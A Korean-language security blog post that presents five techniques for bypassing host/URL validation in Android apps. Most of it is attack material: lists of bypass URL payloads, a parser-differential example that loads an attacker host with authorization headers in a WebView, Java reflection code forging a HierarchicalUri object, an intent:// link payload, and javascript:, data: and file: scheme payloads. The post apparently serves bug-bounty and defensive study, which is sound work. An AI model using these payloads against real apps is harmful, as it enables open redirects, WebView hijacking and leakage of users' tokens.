SSRF, CSRF, Open Redirect 등 사용자로부터 입력받은 URL을 검증해야할 일은 많습니다. 직접 검증 로직을 하나하나 구현하는 방법도 있지만, 보통은 각 언어에서 제공하는 메소드를 통해 host, scheme를 분리한 후 검증하는 것이 좋은 방법입니다.

오늘은 Android에서 Host 검증(URL검증)을 우회하는 방법 5가지에 대해 이야기할까 합니다.
글쓰기에 앞서 @bagipro 의 글이 엄청 도움되었습니다. 꼭 읽어보시길 바랍니다.
(https://hackerone.com/reports/431002)

1. Bypass String pattern (if string match protection)

first, this is common string bypass pattern
기본적인 문자열 우회 패턴입니다.

payload
http://trustdomain.com.untrust.com
http://trustdomain.com@untrust.com
http://untrust.com#.trustdomain.com
http://untrust.com?.trustdomain.com
http://untrust.com.trustdomain.com
http://untrust.com\@trustdomain.com
http://untrust.com\@@trustdomain.com
http://untrust.com:\@@trustdomain.com
http://untrust.com#\@trustdomain.com
http://localhost.hahwul.com/server-status

# if blacklist protection,
http://ⓊⓃⓉⓇⓊⓈⓉ.ⒸⓄⓂ
http://ⓤⓝⓣⓡⓤⓢⓣ.ⓒⓞⓜ
http://⒰⒩⒯⒭⒰⒮⒯.⒞⒪⒨
https://www.hahwul.com/p/ssrf-open-redirect-cheat-sheet.html
https://www.hahwul.com/p/tools.html > menu > URL Pattern

2. \ + @ (if getHost() protection)

second, \+@ payload for bypass android getHost() protection.

payload
https://untrust.com\\@trustdomain.com/

android.net.uri와 java.net.URI의 파싱 차이가 있어서 같은 URL도 다르게 해석합니다.
(this problem in android.net.uri and java.net.URI parser. different parsing to same url)
String url = "http://attacker.com\\\\@trustdomain.com";

// [ java ]
Log.d("Wow", Uri.parse(url).getHost()); 
// print trustdomain.com


// [ android ]
webView.loadUrl(url, getAuthorizationHeaders()); 
// print attacker.com

일부 안드로이드 앱들은 webview를 사용하기 전 앞단에서 getHost를 통해 호스트 주소를 가져와서 비교하는데, java쪽의 Uri.parse에서 getHost()를 호출해서 비교하는 경우 웹뷰(안드로이드)에서 사용되는 Uri와 파싱 형태가 다르기 때문에 서로 다른 주소라고 판단시킬 수 있습니다. 이점은 Era of ssrf와 유사하죠.

3. HierarchicalUri를 이용한 임의 URI 객체 생성(if getHost() protection)

3rd, Make HierarchicalUri Object
잘못된 URI가 입력되었을 때 URI 파서 자체에서 에러가 발생해서 공격코드로 만들기 힘든 경우가 있는데 HierarchicalUri 는 임의 URL 주소가 포함된 객체를 만들 수 있어 URI 파서에 의존한 공격코드를 무력화 할 수 있습니다.

HierarchicalUri 객체를 보면 인스턴스를 만들 때 호스트와 path를 전달해주는데 이 때 host는 trustdomain.com path는 @untrustdomain.com URI 파서 에러를 발생시키지 않는 비정상적인 URI 객체 생성이 가능합니다.

uri = (Uri) hierarchicalUriConstructor.newInstance("https", "trustdomain.com", "@untrust.com", null, null);

// uri : trustdomain.com@untrust.com
code
Class partClass = Class.forName("android.net.Uri$Part");
            Constructor partConstructor = partClass.getDeclaredConstructors()[0];
            partConstructor.setAccessible(true);

            Class pathPartClass = Class.forName("android.net.Uri$PathPart");
            Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
            pathPartConstructor.setAccessible(true);

            Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
            Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
            hierarchicalUriConstructor.setAccessible(true);

            Object authority = partConstructor.newInstance("trustdomain.com", "trustdomain.com");
            Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
            uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

요약하자면, URI 객체를 하나 만들어서 전달한다고 보시면 됩니다.
(url 주소를 받는 부분에서 검증하지 않는다면, 검증 로직을 속일 수 있죠)

4. Intent(if getHost() protection)

four, intent-filter
웹과 모바일간에 intent-filter를 통해서 데이터를 포함하여 이동이 가능한데, 이 때 안드로이드에서의 getHost()는 intent-filter 에 정의된 host를 바라본다고 합니다. (잘 모르던 방법이라 확실하진 않는데, 제가 이해하기론 그렇습니다. 직접 케이스가 나와봐야… 머리에 남을 것 같네요)

..snip..
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https" android:host="trustdomain.com"/>
        </intent-filter>
    </activity>

Payload
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@trustdomain.com/;end">test</a>

=>

getHost : trustdomain.com
webview : attacker.com

아래 링크 참고하시면...
https://hackerone.com/reports/328486

5. Missing Scheme(if getHost() protection)

last, change protocol(scheme)
getScheme을 통해 스킴을 검증하지 않고 단순하게 getHost()만 사용하거나 스킴 검증 로직에 문제가 있을 경우 이런 패턴으로 공격이 가능합니다.

javascript://trustdomain.com/%0aalert(45)//
data://trustdomain.com,alert(45)
웹에서도 비슷함.. https://twitter.com/hahwul/status/1110580091266826241
file://trustdomain.com/sdcard/payload.html

이 글도 느낌이 수정을 몇번 하게될 것 같습니다..

bypass bypass bypass! / https://i.giphy.com/xVe2vhAqlUOCQ.gif

Reference

https://hackerone.com/reports/431002
https://www.hahwul.com/p/ssrf-open-redirect-cheat-sheet.html
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

댓글 없음:

댓글 쓰기